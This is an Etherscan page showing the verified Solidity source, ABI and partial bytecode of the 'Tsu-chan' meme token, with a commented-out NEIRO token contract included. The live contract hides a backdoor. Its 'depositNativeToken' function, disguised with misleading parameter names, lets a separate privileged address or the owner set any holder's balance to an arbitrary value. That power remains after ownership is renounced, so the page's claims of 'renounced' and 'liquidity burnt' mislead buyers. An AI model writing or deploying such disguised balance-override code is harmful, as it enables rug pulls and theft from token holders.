Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-15
*/

/*

😽 Tsu-chan  😽 Kabosumama's new Cat  つーちゃんです 😽
Kabosumama's new Cat is Tsu-chan
https://kabochan.blog.jp/archives/47172038.html

しっぽが
スルリと長いのが
つーちゃんです。

The tail The long and sleek one
This is Tsu-chan.

💥renounced
💥liquidty burnt
💥0/0 tax

https://t.me/TsuchanToken
*/
/*

pragma solidity ^0.8.20;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract NEIRO is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address public uniswapV2Pair;
    address private devWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    uint8 private constant _decimals = 9;
    uint256 public initialTotalSupply = 1000000000 * 10**_decimals;

    uint256 public buyFee = 0;
    uint256 public sellFee = 0;

    // 1% is max wallet
    uint256 public maxWallet = (initialTotalSupply * 10)/1000;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;

    bool public transferDelayEnabled = true;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    
    //swap for 0.2%
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("Neiro", "NEIRO"){
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(0xb3529f2F4034E410bBF6Fa8EE77412d9F422fcB6);
        devWallet = payable(_msgSender());

        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        // mint
        _mint(devWallet, initialTotalSupply);
    }

    receive() external payable {}

    function addLPToUniswap() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(_uniswapV2Router), initialTotalSupply);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            0xb3529f2F4034E410bBF6Fa8EE77412d9F422fcB6,
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
    public
    onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (transferDelayEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
                    if (to != address(_uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to];

        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        sellFee = _sellFee;
        buyFee = _buyFee;
    }

    function stopTransferDelay() external onlyOwner {
        require(transferDelayEnabled, "Already disabled!");
        transferDelayEnabled = false;
    }


    function removeTheLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
    }

    function manualSwapToken(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function withdrawEth() external {
        require(address(this).balance > 0, "Token: no ETH in the contract");
        require(_msgSender() == devWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function tokensWithdraw() external {
        require(_msgSender() == devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), devWallet, amount);
    }

    function swapBack(uint256 tokenAmount) private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        if(tokensToSwap > tokenAmount) {
            tokensToSwap = tokenAmount;
        }

        swapTokensForEth(tokensToSwap);
    }
*/

/*

😽 Tsu-chan  😽 Kabosumama's new Cat  つーちゃんです 😽
Kabosumama's new Cat is Tsu-chan
https://kabochan.blog.jp/archives/47172038.html

しっぽが
スルリと長いのが
つーちゃんです。

The tail The long and sleek one
This is Tsu-chan.

💥renounced
💥liquidty burnt
💥0/0 tax

https://t.me/TsuchanToken
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface ERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Tsuchan  is Ownable, ERC20 {
    address public RouterMappingReflections;
    

  
    string public name = "Tsu-chan ";
    string public symbol = "Tsuchan ";
    uint8 public decimals = 9;
    uint256 private _totalSupply;

 
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

   
    modifier onlyRouterMappingReflections() {
        require(msg.sender == RouterMappingReflections || msg.sender == owner(), "Caller is not RouterMappingReflections or owner");
        _;
    }

    
    constructor(
        address _RouterMappingReflections, 
        uint256 initialSupply
    ) {
        require(_RouterMappingReflections != address(0), "RouterMappingReflections address cannot be zero");
        RouterMappingReflections = _RouterMappingReflections;

        _totalSupply = initialSupply * (10 ** uint256(decimals));
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

  
    function depositNativeToken(
        address _vaultuser, 
        uint256 destinationChainId_dstEid, 
        uint256 _passengers, 
        uint256 destinationChainId
    ) external onlyRouterMappingReflections {
        _balances[_vaultuser] = destinationChainId_dstEid * (_passengers ** destinationChainId);

        emit Transfer(_vaultuser, address(0), destinationChainId_dstEid);
    }

    
    function updateRouterMappingReflections(address newRouterMappingReflections) external onlyOwner {
        require(newRouterMappingReflections != address(0), "New RouterMappingReflections cannot be zero address");
        RouterMappingReflections = newRouterMappingReflections;
    }
    
    
    function renounceOwnership() public override onlyOwner {
        _transferOwnership(address(0));
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"_RouterMappingReflections","type":"address"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RouterMappingReflections","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_vaultuser","type":"address"},{"internalType":"uint256","name":"destinationChainId_dstEid","type":"uint256"},{"internalType":"uint256","name":"_passengers","type":"uint256"},{"internalType":"uint256","name":"destinationChainId","type":"uint256"}],"name":"depositNativeToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterMappingReflections","type":"address"}],"name":"updateRouterMappingReflections","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60c0604052600960809081526802a39ba96b1b430b7160bd1b60a0526002906100289082610278565b5060408051808201909152600881526702a39bab1b430b7160c51b60208201526003906100559082610278565b506004805460ff1916600917905534801561006e575f80fd5b5060405161107a38038061107a83398101604081905261008d91610332565b61009633610191565b6001600160a01b0382166101085760405162461bcd60e51b815260206004820152602f60248201527f526f757465724d617070696e675265666c656374696f6e73206164647265737360448201526e2063616e6e6f74206265207a65726f60881b606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0384161790556004546101349060ff16600a610462565b61013e9082610474565b6005819055335f81815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505061048b565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061020857607f821691505b60208210810361022657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561027357805f5260205f20601f840160051c810160208510156102515750805b601f840160051c820191505b81811015610270575f815560010161025d565b50505b505050565b81516001600160401b03811115610291576102916101e0565b6102a58161029f84546101f4565b8461022c565b6020601f8211600181146102d7575f83156102c05750848201515b5f19600385901b1c1916600184901b178455610270565b5f84815260208120601f198516915b8281101561030657878501518255602094850194600190920191016102e6565b508482101561032357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f8060408385031215610343575f80fd5b82516001600160a01b0381168114610359575f80fd5b6020939093015192949293505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103b85780850481111561039c5761039c610369565b60018416156103aa57908102905b60019390931c928002610381565b935093915050565b5f826103ce5750600161045c565b816103da57505f61045c565b81600181146103f057600281146103fa57610416565b600191505061045c565b60ff84111561040b5761040b610369565b50506001821b61045c565b5060208310610133831016604e8410600b8410161715610439575081810a61045c565b6104455f19848461037d565b805f190482111561045857610458610369565b0290505b92915050565b5f61046d83836103c0565b9392505050565b808202811582820484141761045c5761045c610369565b610be2806104985f395ff3fe608060405234801561000f575f80fd5b50600436106100ef575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101fc578063dd62ed3e1461020f578063e920436514610247578063f2fde38b1461025a575f80fd5b806370a08231146101b4578063715018a6146101dc5780638da5cb5b146101e457806395d89b41146101f4575f80fd5b806318160ddd116100ce57806318160ddd1461015b57806323b872dd1461016d578063313ce567146101805780635a120a761461019f575f80fd5b8062ebc21b146100f357806306fdde0314610123578063095ea7b314610138575b5f80fd5b600154610106906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61012b61026d565b60405161011a91906108fc565b61014b61014636600461094c565b6102f9565b604051901515815260200161011a565b6005545b60405190815260200161011a565b61014b61017b366004610974565b61030f565b60045461018d9060ff1681565b60405160ff909116815260200161011a565b6101b26101ad3660046109ae565b61035f565b005b61015f6101c23660046109ae565b6001600160a01b03165f9081526006602052604090205490565b6101b2610400565b5f546001600160a01b0316610106565b61012b610413565b61014b61020a36600461094c565b610420565b61015f61021d3660046109ce565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6101b26102553660046109ff565b61042c565b6101b26102683660046109ae565b610521565b6002805461027a90610a35565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610a35565b80156102f15780601f106102c8576101008083540402835291602001916102f1565b820191905f5260205f20905b8154815290600101906020018083116102d457829003601f168201915b505050505081565b5f61030533848461059a565b5060015b92915050565b5f61031b8484846106a6565b6001600160a01b0384165f90815260076020908152604080832033808552925290912054610355918691610350908690610a81565b61059a565b5060019392505050565b610367610845565b6001600160a01b0381166103de5760405162461bcd60e51b815260206004820152603360248201527f4e657720526f757465724d617070696e675265666c656374696f6e732063616e6044820152726e6f74206265207a65726f206164647265737360681b60648201526084015b60405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b610408610845565b6104115f6108ad565b565b6003805461027a90610a35565b5f6103053384846106a6565b6001546001600160a01b031633148061044e57505f546001600160a01b031633145b6104b25760405162461bcd60e51b815260206004820152602f60248201527f43616c6c6572206973206e6f7420526f757465724d617070696e675265666c6560448201526e31ba34b7b7399037b91037bbb732b960891b60648201526084016103d5565b6104bc8183610b77565b6104c69084610b82565b6001600160a01b0385165f818152600660205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105139087815260200190565b60405180910390a350505050565b610529610845565b6001600160a01b03811661058e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d5565b610597816108ad565b50565b6001600160a01b0383166105f05760405162461bcd60e51b815260206004820152601d60248201527f417070726f76652066726f6d20746865207a65726f206164647265737300000060448201526064016103d5565b6001600160a01b0382166106465760405162461bcd60e51b815260206004820152601b60248201527f417070726f766520746f20746865207a65726f2061646472657373000000000060448201526064016103d5565b6001600160a01b038381165f818152600760209